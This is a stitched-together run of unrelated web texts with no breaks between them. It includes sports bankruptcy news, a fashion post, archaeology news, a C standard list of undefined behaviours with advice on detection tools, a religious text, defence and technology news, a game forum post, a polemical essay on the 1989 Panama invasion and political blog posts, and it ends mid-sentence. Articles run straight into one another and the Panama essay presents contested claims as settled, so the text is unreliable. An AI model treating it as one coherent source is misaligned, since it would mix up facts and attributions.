players in the league, interviews, and more prediction articles on a weekly basis. Make sure you keep yourselves posted to UKCSGO.com as we continue to cover the top tier of UK Counter-Strike. You can follow us on Twitter and like our page on Facebook for further updates so you never miss a beat in the UK Scene.The Bankruptcy Court of the Northern District of Texas in Dallas put the final nail into the coffin of the San Angelo Colts. In a ruling Friday, the court ordered the San Angelo Colts Baseball Club, LLC. Chapter 11 proceedings be dismissed. The next step is liquidation of its assets under the guidance of the court. The court had been grappling with shepherding the Colts through a reorganization, or Chapter 11 bankruptcy, for almost a year. However, the Colts organization, such that still existed, was unresponsive to the court’s requirements, even to the point of completely ignoring the court’s requests for documentation, or reports, on accomplished tasks in the Chapter 11 proceedings. Texas Attorney General Ken Paxton involved his office on behalf of Angelo State University who owns the land underneath the Colts’ stadium. The university had been attempting to negotiate a lease with the partnership on the property to no success. ASU was asking for $4,166 monthly lease payments. The Colts went silent. Chris Murphy, Assistant Attorney General or Texas, in the Bankruptcy Regulatory Section for the TAG, sent a final demand letter April 24. He demanded that the Colts enter a new stadium use agreement with ASU by May 4 or the Colts were in default. There was no answer. David Boyle petitioned the court in February requesting that the Chapter 11 be denied. In the court filing, Boyle claimed to be a minority partner (less than one percent) a well as a creditor. His described the condition of the Colts at the end of 2014. “There does not appear to be sufficient funds to pay attorney’s fees, employees nor pay unpaid employees, such as General Manager Herman ‘Doc’ Edwards, who is owed $32,200, pre-petition and post-petition. Mr. Edwards, a former major leaguer, has been Field Manager for nine years and wishes to return for a 10th year if the Colts are able to successfully reorganize with a viable operation. He [Doc] is motivated solely for the love of the game and to provide a place for regional athletes to play ball,” Boyle’s petition reads, as submitted by his attorney Dana A. Ehrlich. Boyle was claiming $56,964.12 as a secured claim against future revenue, and from a personal guarantee of the league owner (and team’s majority owner) John Bryant of Dallas. Bryant was the majority owner of San Angelo Sports Equities, LLC, and Reunion Sports Group, LLC that operated the Colts and the Colt’s league, the United Baseball League respectfully. Boyle also claimed that the team had not filed their IRS taxes nor were they making appropriate provisions to pay federal employment, Medicare, and Social Security taxes. Boyle described the decline of operations of the Colts over three years. “In 2012, the Colts were still averaging 2,143 fans per game, but attendance fell to 1,083 fans per game in 2013 and plummeted even further last [year]--fewer than 440 fans per game in 2014,” his petition states. The 2014 season abruptly ended with eight games left on the schedule in August because, Boyle claims, there was no operating capital. Motown, Inc. filed a petition on behalf of 1st Community Federal Credit Union to deny the Chapter 11 proceedings or convert to liquidation, or Chapter 7. Motown reported that 1st Community FCU held $356,093.00 and $27,225.13 in notes to the team, with the stadium as collateral. The stadium, they claimed, cost more than $2 million to build. Motown said there were 104 creditors to the team. Among the creditors who had claims against the Colts, according to the bankruptcy court: Bes-Tex Comptroller of Public Accounts (State of Texas) David Boyle Howard “Doc” Edwards Jane Gray Power Systems Computers Steak Express Texas Workforce Commission Verizon Southwest Eric A. Liepins (The attorney for the Colts’ bankruptcy) Tom Green County Appraisal District Angelo State University City of San Angelo Water Dept. Cromwell Cap Dot the I’s (Dublin, Ohio) Heath Brown Internal Revenue Service Lone Star Contracting Red Ball Taxi and Shuttle West Texas Fire and Industrial 1st Community Federal Credit Union Gandy Ink House of Chemicals Inn of the Conchos TXU Energy Retail Company, LLC. On Friday, the federal bankruptcy judge ordered that the Colt’s Chapter 11 case be dismissed, per the request from ASU made through the Texas Attorney General’s office. What will become of the Colt’s assets? The only significant asset is the structure of the stadium. What is known is that the former Colt’s organization no longer has a say in bankruptcy court about how its assets are liquidated. The creditors are now free to pursue the Colt’s assets. © 2019 Copyright Hyde Interactive, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.The fit name was inspired by the body builder from the 1950's, Charles Atlas, that could make any man anew in just 15 minutes a day! Universal-made button with layer of green paint that will chip away with wear. Left Field NYC’s Tapered Charles Atlas Fit Do you like the roomy top block of Left Field NYC’s Greaser cut but the tapered hem of their Chelsea? Well you are in luck! Adding a third fit to their stable, Left Field’s Charles Atlas fit models itself after the bodybuilder of the same name and the taper needed to suit his buff physique. In the 1950s, Atlas rose to fame for “Manufacturing skinny weaklings into real MEN!” Such a manly shape, however, requires a little bit more room around the top block. Some guys, however, still want that tight taper that only comes on the thigh-crushers. That’s where LF’s Charles Atlas fit steps in. The jean is currently available for pre-order in two different fabrics: your standard 13oz. Cone Mills redline selvedge ($180) as well as a 14oz. stretch selvedge from Japan’s Collect Mills ($220 and pictured above). This is the first stretch denim for Left Field, according to brand founder Christian McCann, “It’s very hard to find a stretch denim in a weight above 11 oz and especially one that doesn’t have a sheen to it, so we are hoping we have found a perfect solution for our classic denim fans that need a little mobility.” And although it’s a pre-order, both jeans are expected to deliver by June 15th. You can find the Cone and the Collect models on Left Field’s website.Göbeklitepe to be closed to visitors ISTANBUL The ancient site of Göbeklitepe, one of the world’s most important archaeological sites and on UNESCO’s tentative list of World Heritage Sites, will be closed to visitors between June 13 and Dec. 31, according to a written statement made by the Culture and Tourism Ministry.The statement said the construction of two protective roof coverings and the implementation of a revival center project are planned for the ancient settlement in the southeastern province of Şanlıurfa.“In order to finish the works on time and to provide safety of visitors, the Göbeklitepe ancient settlement will be closed to visits,” the statement said.Located in Örencik, 18 kilometers from the center of Şanlıurfa, Göbeklitepe was first discovered in 1963 during surface surveys carried out by researchers from the universities of Istanbul and Chicago.Since 1995, the Şanlıurfa Museum and the German Archaeology Institute have been collaborating on the excavations.
vsprintf, vsscanf, vfwprintf, vfwscanf, vswprintf, vswscanf, vwprintf, or vwscanf function is called with an improperly initialized va_list argument, or the argument is used (other than in an invocation of va_end) after the function returns (7.21.6.8, 7.21.6.9, 7.21.6.10, 7.21.6.11, 7.21.6.12, 7.21.6.13, 7.21.6.14, 7.28.2.5, 7.28.2.6, 7.28.2.7, 7.28.2.8, 7.28.2.9, 7.28.2.10). The contents of the array supplied in a call to the fgets or fgetws function are used after a read error occurred (7.21.7.2, 7.28.3.2). The file position indicator for a binary stream is used after a call to the ungetc function where its value was zero before the call (7.21.7.10). The file position indicator for a stream is used after an error occurred during a call to the fread or fwrite function (7.21.8.1, 7.21.8.2). A partial element read by a call to the fread function is used (7.21.8.1). The fseek function is called for a text stream with a nonzero offset and either the offset was not returned by a previous successful call to the ftell function on a stream associated with the same file or whence is not SEEK_SET (7.21.9.2). The fsetpos function is called to set a position that was not returned by a previous successful call to the fgetpos function on a stream associated with the same file (7.21.9.3). A non-null pointer returned by a call to the calloc, malloc, or realloc function with a zero requested size is used to access an object (7.22.3). The value of a pointer that refers to space deallocated by a call to the free or realloc function is used (7.22.3). The alignment requested of the aligned_alloc function is not valid or not supported by the implementation, or the size requested is not an integral multiple of the alignment (7.22.3.1). The pointer argument to the free or realloc function does not match a pointer earlier returned by a memory management function, or the space has been deallocated by a call to free or realloc (7.22.3.3, 7.22.3.5). The value of the object allocated by the malloc function is used (7.22.3.4). The value of any bytes in a new object allocated by the realloc function beyond the size of the old object are used (7.22.3.5). The program calls the exit or quick_exit function more than once, or calls both functions (7.22.4.4, 7.22.4.7). During the call to a function registered with the atexit or at_quick_exit function, a call is made to the longjmp function that would terminate the call to the registered function (7.22.4.4, 7.22.4.7). The string set up by the getenv or strerror function is modified by the program (7.22.4.6, 7.23.6.2). A command is executed through the system function in a way that is documented as causing termination or some other form of undefined behavior (7.22.4.8). A searching or sorting utility function is called with an invalid pointer argument, even if the number of elements is zero (7.22.5). The comparison function called by a searching or sorting utility function alters the contents of the array being searched or sorted, or returns ordering values inconsistently (7.22.5). The array being searched by the bsearch function does not have its elements in proper order (7.22.5.1). The current conversion state is used by a multibyte/wide character conversion function after changing the LC_CTYPE category (7.22.7). A string or wide string utility function is instructed to access an array beyond the end of an object (7.23.1, 7.28.4). A string or wide string utility function is called with an invalid pointer argument, even if the length is zero (7.23.1, 7.28.4). The contents of the destination array are used after a call to the strxfrm, strftime, wcsxfrm, or wcsftime function in which the specified length was too small to hold the entire null-terminated result (7.23.4.5, 7.26.3.5, 7.28.4.4.4, 7.28.5.1). The first argument in the very first call to the strtok or wcstok is a null pointer (7.23.5.8, 7.28.4.5.7). The type of an argument to a type-generic macro is not compatible with the type of the corresponding parameter of the selected function (7.24). A complex argument is supplied for a generic parameter of a type-generic macro that has no corresponding complex function (7.24). At least one field of the broken-down time passed to asctime contains a value outside its normal range, or the calculated year exceeds four digits or is less than the year 1000 (7.26.3.1). The argument corresponding to an s specifier without an l qualifier in a call to the fwprintf function does not point to a valid multibyte character sequence that begins in the initial shift state (7.28.2.11). In a call to the wcstok function, the object pointed to by ptr does not have the value stored by the previous call for the same wide string (7.28.4.5.7). An mbstate_t object is used inappropriately (7.28.6). The value of an argument of type wint_t to a wide character classification or case mapping function is neither equal to the value of WEOF nor representable as a wchar_t (7.29.1). The iswctype function is called using a different LC_CTYPE category from the one in effect for the call to the wctype function that returned the description (7.29.2.2.1). The towctrans function is called using a different LC_CTYPE category from the one in effect for the call to the wctrans function that returned the description (7.29.3.2.1). Most of these items are already detected, could be detected easily, or would be detected as a side effect of solving UBs that we discussed in detail. In other words, a few basic technologies, such as shadow memory and run-time type information, provide the infrastructure needed to detect a large fraction of the hard-to-detect UBs. Alas it is difficult to make shadow memory and run-time type information fast. Summary What is the modern C or C++ developer to do? Be comfortable with the “easy” UB tools — the ones that can usually be enabled just by adjusting a makefile, such as compiler warnings and ASan and UBSan. Use these early and often, and (crucially) act upon their findings. Be familiar with the “hard” UB tools — those such as TIS Interpreter that typically require more effort to run — and use them when appropriate. Invest in broad-based testing (track code coverage, use fuzzers, etc.) in order to get maximum benefit out of dynamic UB detection tools. Perform UB-aware code reviews: build a culture where we collectively diagnose potentially dangerous patches and get them fixed before they land. Be knowledgeable about what’s actually in the C and C++ standards since these are what compiler writers are going by. Avoid repeating tired maxims like “C is a portable assembly language” and “trust the programmer.” Unfortunately, C and C++ are mostly taught the old way, as if programming in them isn’t like walking in a minefield. Nor have the books about C and C++ caught up with the current reality. These things must change. Good luck, everyone. We’d like to thank various people, especially @CopperheadOS on Twitter, for discussing these issues with us.Pages 179-181 THE FOUR KINDS OF LOVE What a power is love! It is the most wonderful, the greatest of all living powers. Love gives life to the lifeless. Love lights a flame in the heart that is cold. Love brings hope to the hopeless and gladdens the hearts of the sorrowful. In the world of existence there is indeed no greater power than the power of love. When the heart of man is aglow with the flame of love, he is ready to sacrifice 180 all—even his life. In the Gospel it is said God is love. There are four kinds of love. The first is the love that flows from God to man; it consists of the inexhaustible graces, the Divine effulgence and heavenly illumination. Through this love the world of being receives life. Through this love man is endowed with physical existence, until, through the breath of the Holy Spirit—this same love—he receives eternal life and becomes the image of the Living God. This love is the origin of all the love in the world of creation. The second is the love that flows from man to God. This is faith, attraction to the Divine, enkindlement, progress, entrance into the Kingdom of God, receiving the Bounties of God, illumination with the lights of the Kingdom. This love is the origin of all philanthropy; this love causes the hearts of men to reflect the rays of the Sun of Reality. The third is the love of God towards the Self or Identity of God. This is the transfiguration of His Beauty, the reflection of Himself in the mirror of His Creation. This is the reality of love, the Ancient Love, the Eternal Love. Through one ray of this Love all other love exists. The fourth is the love of man for man. The love which exists between the hearts of believers is prompted by the ideal of the unity of spirits. This love is attained through the knowledge of God, so that men see the Divine Love reflected in the heart. Each sees in the other the Beauty of God reflected in the soul, and finding this point of similarity, they are attracted to one another in love. This love will make all men the 181 waves of one sea, this love will make them all the stars of one heaven and the fruits of one tree. This love will bring the realization of true accord, the foundation of real unity. But the love which sometimes exists between friends is not (true) love, because it is subject to transmutation; this is merely fascination. As the breeze blows, the slender trees yield. If the wind is in the East the tree leans to the West, and if the wind turns to the West the tree leans to the East. This kind of love is originated by the accidental conditions of life. This is not love, it is merely acquaintanceship; it is subject to change. Today you will see two souls apparently in close friendship; tomorrow all this may be changed. Yesterday they were ready to die for one another, today they shun one another’s society! This is not love; it is the yielding of the hearts to the accidents of life. When that which has caused this ‘love’ to exist passes, the love passes also; this is not in reality love.China has deployed more advanced and survivable solid-fuel nuclear capable CSS-5 MRBM missiles against India as a 'deterrent posture', Pentagon has said warning that a high degree of mistrust continues to strain their bilateral ties. The PLA has replaced liquid-fuelled, nuclear-capable CSS-2 IRBMs with more advanced and survivable solid-fuelled CSS-5 MRBM systems to strengthen its deterrent posture relative to India, the Pentagon has said in its annual report on Chinese military build up to the Congress. The report also says that Beijing is pumping in huge investments on border infrastructure developments laying more roads and rail network along the Sino-Indian border. "Although this construction is primarily aimed at facilitating economic development in western China, improved roads could also support PLA border defense operations," it said. Pentagon said that New Delhi remains concerned by China's close military ties with Pakistan and its growing footprints in the Indian Ocean, Central Asia and Africa. The report noted that Pakistan continued to be China's primary customer for conventional weapons and sales to Islamabad included newly rolled out JF-17 fighters with production facilities, F-22P frigates with helicopters, early warning and control aircraft, tanks, K-8 trainers, F-7 fighters, air-to-air missiles, anti-ship cruise missiles and missile technologies. On Sino-Indian ties, Pentagon said, that though bilateral dialogue between the two nations increased, border tensions remained an irritant. "China deepened its ties with India through increased trade and high-level dialogues in 2010, though border tensions remained an irritant in the bilateral relationship. Bilateral trade in 2010 reached nearly USD 60 billion," Pentagon said. The two neighbours have held several rounds of dialogue over disputed territorial claims. Sino-Indian defense ties were institutionalised in 2007 with the establishment of an Annual Defense Dialogue, the report said. "Though India cancelled high-level military exchanges following China's denial of visa to a senior Indian general in 2010, both sides agreed to resume exchanges in April 2011," the Pentagon said. ... contd. ALSO READ 500 killed in South Sudan after coup attempt Please read our terms of use before posting commentsNetflix announces Wet Hot American Summer: Ten Years Later “Let’s all promise that in ten years from today, we’ll meet again, and we’ll see what kind of people we’ve blossomed into.” — Ben Finally, fans can make it their beeswax to see what happens to their favorite campers and counselors ten years after the original film in a new Netflix original series titled Wet Hot American Summer: Ten Years Later. The series will include eight all-new, 30-minute episodes and is set to premiere in 2017. Check out the announcement teaser below! The series will be written by Michael Showalter and David Wain and Wain will direct. Executive Producers for Wet Hot American Summer: Ten Years Later are Michael Showalter, David Wain, Peter Principato, Jonathan Stern and Howard Bernstein.Pickup trucks aren't known for being nimble, and their general styling hasn't changed since, well, ever. Elad Barkan hopes to change that. Barkan rolled into the New York auto show with a mid-engined truck that he says combines the utility of a pickup with the handling of a sporty passenger car. The Counter Balance is built on a Chevrolet Tahoe chassis with a V8 engine smack in the middle. It looks a bit like a Chevrolet Avalanche crossed with the Yellow Submarine and the Batmobile. Love it or hate it, the Counter Balance definitely has people at the show talking. "So far, the response at the Auto Show has been good. Some people like it, and some people don't," Barkan told Wired.com. Barkan earned a degree from the Automotive/Industrial Design School in Turin, Italy and started working on the Counter Balance in San Diego five years ago. He lost the first prototype when a wildfire destroyed his garage. "The truck started as a personal project that I began after school and financed out-of-pocket," he said. "When I lost it to the fire, I figured if I didn't start over again all my work would be all for not." As for the design, Barkan says putting the engine in the middle improves the handling. "The engine placement makes the truck and the whole package more balanced," he said. It also creates all kinds of room up front for storage. It required elevating the back seats, which is cool because you've got stadium-style seating with panoramic views through the smoked windows. The bed can be expanded from 5 feet to a maximum length of 7.5 feet, and Barkan says there's enough room under the body to install an alt-fuel drivertrain. "Batteries, propane, biodiesel, you name it," said Barkan. "It's all possible to install under there and depends on the buyers preference." Barkan says he's talking to several production facilities about building the Counter Balance. Should it see production, Barkan said, it'll cost about as much as "a fully loaded Escalade." Talk of alt-fuel drivetrains aside, Barkan didn't disclose the truck's fuel economy. "A pickup truck is not a Prius. It can't be a Prius" he said. "But I tried to make the Counter Balance as practical and efficient as possible." Photo courtesy Elad Barkan. Used with permission.Steve Mahan, who is legally blind, was the first non-Google employee to ride alone in the company’s gumdrop-shaped autonomous car. The ride was in October 2015 in Austin. (Courtesy Waymo) A blind man has successfully traveled around Austin — unaccompanied — in a car without a steering wheel or floor pedals, Google announced Tuesday. After years of testing by Google engineers and employees, the company’s new level of confidence in its fully autonomous technology was described as a milestone. “We’ve had almost driverless technology for a decade,” said Google engineer Nathaniel Fairfield. “It’s the hard parts of driving that really take the time and the effort to do right.” Steve Mahan, who is legally blind, was the first non-Google employee to ride alone in the company’s gumdrop-shaped autonomous car. “It is like driving with a very good driver,” Mahan said. “If you close your eyes when you’re riding with somebody, you get a sense of whether this is a good driver or whether they’re not. These self-driving cars drive like a very good driver.” Google says it has driven more than 2 million miles on public roads to test its vehicles. “In early 2015, we began to see some signs that we were getting close,” Fairfield said. “The cars were going for longer and longer times without the humans having to intervene.” Fairfield said the company spent six months scrutinizing the vehicle’s performance before Mahan was allowed to set out alone. “That is a whole different beast — to get that driver out of the car, to take off the training wheels,” Fairfield said. Mahan said: “I had the greatest time driving around a neighborhood in Austin, Texas. It was so much fun, being aware that the vehicle was navigating intersections and I was in good hands, perfectly safe.” The car Mahan rode in had a backup computer and multiple systems to control it. “If you removed the driver from the loop, you really have to have your backups,” said Dmitri Dolgov, who heads technological development for Google’s self-driving effort. Mahan said: “This is a hope of independence. These cars will change the life prospects of people such as myself. I want very much to become a member of the driving public again.” Google also announced Tuesday that it is spinning off its self-driving-car project into a company called Waymo, an independent division under Google’s parent company, Alphabet. John Krafcik, chief executive of Waymo, said the Austin solo ride is an indication that “we’re close to bringing this to a lot of people.” Costa Samaras, an automation expert at Carnegie Mellon University, said the move by Waymo “puts a marker down that says to Uber, Lyft and auto companies that the race to capture market share in driverless mobility has begun in earnest.” Samaras said that “without a human in the loop, there’s also now a lot less room for computer error in case something goes wrong. I’m guessing Waymo has run these numbers and is betting on the computer.” Google was among the first technology companies to plunge into an area traditionally dominated by automakers in Detroit and elsewhere in the world. After initial testing by its employees, the company embraced a decision to put fully autonomous cars on the road — probably without steering wheels or floor pedals — from the outset. In that decision, Google became an outlier, as the existing industry, mindful of its need to sell cars each year, took an approach intended to introduce self-driving features incrementally. The Google announcement came on a day when the Obama administration proposed a rule that would require all new cars to be able to communicate with other cars wirelessly, a move that advocates said could save lives but that also raises privacy and hacking concerns among opponents. The wireless box could, for instance, tell a car to brake when another vehicle is about to run a red light. Federal officials said the required technology “will not collect, broadcast or share information linked or linkable, as a practical matter, to individuals or their vehicles.” Vehicle-to-vehicle communication is considered an essential building block toward autonomous vehicles by some — but not all — of the companies working to develop them. “If they’re connected to each other, then we likely will not need signs, markings or even traffic signals,” said Jim Barbaresso, vice president for intelligent transportation systems at HNTB Infrastructure Solutions. “Cars could go through intersections without hitting each other, without the need of a traffic signal.” Fairfield said direct vehicle-to-vehicle communication is an asset but less than essential to putting autonomous cars on the road. “There is vehicle technology where the car is telling you it’s going to hit the brakes or how much it’s braking,” Fairfield said. “That’s somewhat useful, but we can [determine] that with radars and lasers and cameras, so it’s not that useful.” The Competitive Enterprise Institute, a Washington-based conservative think tank, called the administration’s rulemaking bid a “midnight” move. Marc Scribner, a research fellow, said the incoming Trump administration should immediately withdraw the “dangerous” proposal.Alabama police found themselves being taunted by a suspect after officials at the department published a wanted poster to its Facebook page. Roderick Hill, the suspect in question, responded to the poster and mocked the relatively mild charge the Linden Police Department want him for, Mashable reports. The zany situation all began on Sunday after police posted that they were searching for 31-year-old Roderick Hill on charges of Attempting to Elude. He was considered armed and dangerous. Taking umbrage with the accusation, Hill found it fitting to defend his good name – not with legal representation, but with a Facebook reply. “Wtf??man y’all doing too much…it’s murderers out here and y’all worried bout lil ol me?wow…sad,” wrote Hill. Hill’s appearance on the posting prompted readers to chime in as well, with one user asking for deeper details. “I ran from them…I’ve never been caught or charged with a gun never robbed. [S]o how is it fair to label me armed over a traffice offence,” Hill answered. Hill appears to still be on the lam and has a rap sheet in Mobile County of mostly non-violent offenses. Hopefully, Hill’s legal ordeal will end on a just and peaceful note. SOURCE: Mashable \| PHOTO CREDIT: Getty, Facebook SEE ALSO: GRAPHIC VIDEO: Woman Shot In Drive-Thru Livestreams Near Fatal Moment On Facebook Also On News One:Assuming even a subpar monarch (2 ADM/month), it would just take 4 years' worth of administrative effort to convince all the local population that you are a rightful suzerain to the area, and should it ever get retaken/conquered by someone else, those residents will think YOU are one of those rightful to own a fifth of Ireland for a 50 years because you have worked on integrating it for four years prior. Gosh, some historical accuracy right here. You should look up the history of, for example, Ottoman-held Albania. There are countless other examples of many places unable to be fully brought into the fold of their conquerors. You should be glad that conquest is actually not as hard as it was historically and requires just some years' effort. Yes, France, Spain, Austria are so stronk. Have they ever managed to cheesily annex half of Europe by 1600 historically? No. Not even close. This is a fantastic change because it made conquest actually worth a hassle without making it too tedious to deal with in the long run. Click to expand...The administration of President George H. W. Bush, in a fit of neoconservative interventionism, set forth on an endeavor to eliminate the Panamanian military dictator General Manuel Noriega, a merciless political leader who was accused of being involved with an international money laundering and drug trafficking scheme. On December 20, 1989, the United States launched Operation Just Cause, an invasion of Panama intended to remove Gen. Noriega from office and to arrest him on charges of supposed involvement with Floridian drug smuggling. Bush had claimed the invasion was justified due to its necessity in keeping the estimated 35,000 American citizens in Panama, most of which were servicepeople stationed there (“As president, I have no higher obligation then to safeguard the lives of American citizens”), and because it was a mission in promotion of democracy and human rights (“The Panamanian people want democracy, peace, and the chance for a better life in dignity and freedom. The people of the United States seek only to support them in pursuit of these noble goals”). These reasons, convincing and heart-felt as they may seem, were complete and utter lies, if not in theory, then certainly, at least, in practice. El Chorrillo, a neighborhood in Panama City, which was populated by an impoverished proletariat, and also thought to be the hiding location of Noriega (it wasn’t), was burned to the ground, earning it the nickname Pequeño Hiroshima (Little Hiroshima). Most of the civilian casualties of the operation were hastily buried in mass graves or had their bodies disposed of flaringly by way of American flamethrowers. The Central American Human Rights Commission (CODEHUCA) estimates that between 2,500 and 3,000 unarmed non-combatants were tragically killed indiscriminately, an obvious rebuke of President Bush’s assertion that Operation Just Cause was an attempt to protect the people of Panama. As for his contention that the purpose of this military maneuver in Panama was to “safeguard the lives of American citizens”, this idea came from the fact that one American soldier had been killed by fighters of the Panama Defense Force. Such initiation of belligerence obviously cannot be considered just, but it is useful to understand that this killing was likely brought about as a result of Americans running military exercises through the streets of Panama City, one in which killed an innocent schoolteacher – unambiguously an United States-led provocation against the working-class of Panama. The real reasoning for the invasion, Noriega suspected, was twofold. General Noriega explained that Lieutenant Colonel Oliver North, in cooperation with Deputy National Security Advisor John Poindexter (who served under President Ronald Reagan), had attempted to recruit him to aid the United States in waging war against both the Sandinista National Liberation Front (an insurrectionary democratic socialist political party in Nicaragua) and against rebel organizations fighting in the Salvadoran Civil War (such as the syndicalist Farabundo Martí National Liberation Front and the communist National Resistance Armed Forces), to which Noriega had politely declined. “The second ‘no'”, Noriega briefly narrated, “was [John] Poindexter; when Poindexter was saying, ‘We need Panama as a spearhead against Nicaragua.’ So that the United States can go ahead and carry out an invasion. But Noriega said, ‘no.’ Now I became unfriendly”. Manuel Noriega claimed to believe that these were the actual motivations that caused President George H. W. Bush and the United States Department of Justice to seek to arrest him, what would seem to be a grand sort of conspiracy theory indeed. In the end, Noriega (who for the end of his hiding took refuge in the Holy See’s Panamanian embassy, spending those days reading the Bible), following numerous ruthless attacks on the citizens of Panama (such as 442 major bomb blasts in only the first 12 hours of the operations) was eventually captured in early 1990 and was later extradited to the United States, where he was tried in April 1992 in the United States District Court for the Southern District of Florida, a federal court in Miami. In his court case, though he insisted his innocence, he was sentenced to forty years of prison on eight counts of drug trafficking, money laundering, and racketeering. Whether or not the sentenced Noriega had truly been guilty of the charges, there were, in fact, numerous backroom deals made by the US judicial system that gave way to much potentially unfair legal treatment against the convict. The United States Department of Justice had co-conspired with a Colombian drug trafficking organization (which was also known for trafficking arms and committing murder), the Cali Cartel, to remove Noriega from his seat of authority (and to afterwards have him arrested), as multiple documents suggest. One such example of this is embodied in the story of Ricardo Bilonick, Panama’s former ambassador-at-large. He, despite not having been a witness of any of Noriega’s accused crimes, was jointly offered rewards for doing so, $1,250,000 ($2,138,300, inflation-adjusted to 2016 USD) from the Cali Cartel, and a reduction in both his drug sentence (from 20 years to 2 years) and the sentence of a Cali Cartel associate, Luis Santa Cruz Echevery. Bilonick was very vital to the United States’ side of the court case, testifying to having given $10,000,000 (~$24,100,000, inflation-adjusted to 2016 USD) in bribe money to Noriega, paid in increments between 1982 and 1984, in exchange for the ability to fly out between an estimated 15 and 20 tons of cocaine. The authenticity of this story is, according to many primary sources, absolutely false, that is, unless you chose to ignore it all in order to subscribe to the fixed narrative of the Justice Dept. While the actions of the Panamanian dictator certainly cannot be irreproachable, the suborning of dangerous drug traffickers by the federal government in order to falsely testify a court of law is certainly far from being ignorable. The corruption of the United States government in regards to the trial of the Panamanian dictator is best summed up by its target himself, General Manuel Noriega, “Why, after being the man the U.S. could count on, did I become the enemy? Because I said no to Panama being a staging base for Salvadoran death squads and the Nicaraguan Contras [guerilla fighters opposing the Sandinista regime in Nicaragua]…They found something horrible to call me – a drug dealer. How do you deal with one who defies you? Destroy him. Plus you factor in a gutless man of weak character, a hypocrite, a liar, a George Bush”. The capture of Noriega, which Bush repeatedly prided himself upon was not the success it had been thoroughly portrayed as being, but rather a dirty display of unprincipled corporate deals conducted behind closed doors.Hullabaloo Tuesday, October 07, 2008 Rerun by dday Big ups to Tom Brokaw for structuring the debate in the same order, with practically the exact same questions, as the first debate a week and a half ago. Thanks for spending 90 minutes providing the same information that Jim Lehrer did. Great work, Tom. The only things that stood out to me, that weren't practically the same canned responses as last time, were these: • Obama called health care a right and not a commodity, and brought a moral dimension to the issue that calms my nerves about him on the topic. • Darfur got mentioned, which was one of the few new ones. • McCain basically called for a version of a new HOLC, with the government stepping in to buy up failing mortgages and work them out with struggling homeowners. This is completely at odds with his record, and I'd like to see him explain it to fiscal conservatives. Also, why now and not during the bailout negotiations?... late update: the bailout bill already has this option, though it's completely at the discretion of the Treasury Department. • Fountains of conventional wisdom like Brokaw still think there's a problem with entitlements completely out of proportion to the actual problem. Social Security is not in crisis and Medicare's crisis has directly to do with skyrocketing health care costs and should not be viewed in a vacuum. • Obama's line on why insurance markets should be deregulated because the credit card industry moved all their businesses to low-regulation states like Delaware was... you know, interesting, considering his Vice Presidential nominee. • Both candidates remain out to lunch on Afghanistan and were totally non-responsive on the plain fact that our presence there has become toxic. McCain thinks we can do a "surge" there, which turns "surge" into less a tactic than a pretty word, and Obama is slightly better but still needs to recognize that Afghanistan in 2008 is not Afghanistan in 2002. No changes in the polls from this, as very little new things were revealed. . dday 10/07/2008 07:46:00 PMI’ll be the first to admit that after nearly a decade of wallowing in the swamp of right-wing political insanity, my sense of what constitutes “acceptable” rhetoric is entirely skewed, so much so that when I see things like these sorts of absurd assertions from the Christian Anti-Defamation Commission that health care reform would lead to a Nazi-like elimination of the elderly, I barely even bat an eye any more: This is nothing less than state sponsored euthanasia. Hitler began his reign of terror by his application of the brutal, Darwinian ethic, “survival of the fittest.” He started killing the disabled and infirmed because they were considered to be a burden on the state. Hitler rationalized the killing of innocent people in an effort to advance his fascist, national socialist agenda. In the name of doing what’s best for the good of society, Hitler trivialized human life. Ultimately millions ended up paying with their lives. In the name of the public good, Obama and the Congress are on the same anti-Christian, pro-death path. And the reason I don’t even blink stems largely from the fact that this type of rhetoric is, in fact, perfectly acceptable to the Right – here’s Rush Limbaugh yesterday: They accuse of us being Nazis, and Obama’s got a health care logo that’s right out of Adolf Hitler’s playbook. Now, what are the similarities between the Democrat Party of today and the Nazi Party in Germany? Well, the Nazis were against big business — they hated big business. And of course we all know that they were opposed to Jewish capitalism. They were insanely, irrationally against pollution. They were for two years mandatory voluntary service to Germany. They had a whole bunch of make-work projects to keep people working, one of which was the Autobahn. They were against cruelty and vivisection of animals, but in the radical sense of devaluing human life, they banned smoking. They were totally against that. They were for abortion and euthanasia of the undesirables, as we all know, and they were for cradle-to-grave nationalized healthcare. This is why I have always bristled when I hear people claim conservativism gets close to Nazism. It is liberalism that’s the closest you can get to Nazism and socialism. It’s all bundled up under the socialist banner. There are far more similarities between Nancy Pelosi and Adolf Hitler than between these people showing up at town halls to protest a Hitler-like policy that’s being heralded like a Hitler-like logo. As Glenn Greewald reminds us, just a few years ago when someone submitted an ad to MoveOn.org that compared President Bush to Hitler, MoveOn immediately removed the ad, everyone went completely insane. But now you have Limbaugh, the most influential voice of the Right in the entire country, literally comparing the Democrats to the Nazis and nobody says anything because this type of rhetoric is some utterly common that it is not even considered newsworthy. And, on a similar note, just what exactly does Glenn Beck have to do to get himself yanked off the air? Apparently, joking about poisoning Nancy Pelosi is likewise perfectly acceptable: I wonder what it would be like, seriously. I mean, if I could go, you know, to the speaker’s shindig, wouldn’t that be great? What would it — oh, look, here she — oh, she is — wow — you’re so much prettier and flatter and shinier in the face than I expected. It’s almost like you’re two people at once. So, Speaker Pelosi, I just wanted to — you gonna drink your wine? Are you blind? Do those eyes not work? There you — I want you to drink it now. Drink it. Drink it. Drink it. I really just wanted to thank you for having me over here to wine country. You know, to be invited, I thought I had to be a major Democratic donor or a longtime friend of yours, which I’m not. By the way, I put poison in your — no, I — I look forward to all the policy discussions that we’re supposed to have — you know, on health care, energy reform, and the economy. Hey, is that Sean Penn over there? I know it cost me more than $30,000 to get in here, but hey. Hey, I think I see Ed Markey, the author of cap and trade, right over there. Like I said, my own sense of what sort of rhetoric is “acceptable” from the Right is admittedly skewed, so much so that, quite frequently, I don’t even bother posting certifiably crazy things precisely because they are so common as to not even warrant the coverage. But even by my warped standard, this type of stuff from Limbaugh and Beck is completely insane. And yet, at the same time, it is also perfectly acceptable. And that is what is really insane.Wall Street is full of adages, superstitions, and myths – and that includes answers to the question: Why is the stock market closed on Good Friday? The New York Stock Exchange, aka the Big Board, has been closed every Good Friday for more than 150 years, with the exception of 1898, 1906, and 1907. The Friday before Easter is the only non-federal holiday among the exchange's nine closed days. The story that's been spread for decades is that Wall Street gets the day off because of its association with a couple of notable stock market crashes, not simply because it is a Christian holy day. I even called my Catholic father, a retired American Stock Exchange vice chairman, governor
